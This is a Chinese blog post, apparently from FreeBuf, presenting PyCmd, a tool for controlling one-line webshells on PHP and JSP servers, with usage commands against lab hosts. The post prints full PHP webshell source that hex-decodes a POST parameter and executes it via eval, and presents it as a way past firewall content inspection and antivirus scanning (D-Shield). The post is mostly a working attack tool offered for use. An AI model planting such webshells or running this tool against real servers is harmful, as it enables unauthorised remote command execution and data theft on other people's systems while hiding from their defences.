之前寫了一個基於python的一句話木馬用戶端程式,這個程式的作用大致就是為了繞過防護設備,使敏感數據能在網絡裏自由穿梭。由於程式設計能力有限,當時以python程式作為用戶端,php程式碼作為服務端,勉强能用,但是缺乏jsp的服務端,使之功能很局限。幸好有大神caomei相助,幫助實現了jsp端的程式碼,故將兩者相結合,方便使用。
PyCmd適用環境
當服務器允許上傳任意檔案,且對檔案內容不進行稽核檢查,但由於其網絡邊界有防火牆會攔截稽核通信的數據。這時我們能成功上傳一句話木馬,然而連接菜刀的時候會出現500錯誤,此時可以使用pycmd工具,因為其會對互相通信的內容加密處理。
PyCmd使用
我這裡準備了2個靶機,分別裝有php與jsp的運行環境,用來類比真實的網站服務器。
為了方便,我已經把服務端木馬程式放到了服務器網站目錄下:
php網站木馬地址:10.0.3.13/test/p.php
jsp網站木馬地址:192.168.10.149:8080/headgmp/upload/2017_07_13/11.jsp
查看shell的情况:
此時,運行PyCmd.py程式:
python PyCmd.py -u http://10.0.3.13/test/p.php -p test [--proxy]
python PyCmd.py -u http://192.168.10.149:8080/headgmp/upload/2017_07_13/11.jsp -p test [--proxy]
程式會自動判斷輸入的網站類型,這裡是jsp類型的網站。
運行程式可輸入以下參數:
-h查看幫助資訊
-u網站木馬地址
-p木馬shell密碼
–proxy開啟本地代理(方便調試)
注:當開啟本地調試,需運行Fiddler程式,或者其他抓包軟件。
PyCmd資料加密
PyCmd程式的長處在於它對往來的數據進行了加密,可以繞過防火牆對數據內容的校驗。
當執行cmd命令時,通過Fiddler抓包查看數據:
查看回報資訊:
PyCmd木馬隱身
用D盾掃描上傳的木馬服務端檔案,顯示為正常檔案,成功躲過查殺(2016.9.18日檢測結果)
這裡演示php木馬查殺:
<?php
$string=”;
$password=’test’;
if(isset($_POST[$password])){
$hex=$_POST[$password];
for($i=0;$i<strlen($hex)-1;$i+=2){
$string.=chr(hexdec($hex[$i].$hex[$i+1]));
}
@eval($string);
}else{
echo“This is a Test!”;
}
?>
工具下載
PyCmd 下載地址
項目地址:https://github.com/tengzhangchao/PyCmd
說明:繞過防火牆檢測的方法很多,這裡只是提供了一種思路,pycmd是我去年寫的一款工具,最近打算完善其功能,程式碼已經開源。
原文連接:PyCmd加密隱形木馬
*本文作者:nmask,轉載請注明來自FreeBuf.COM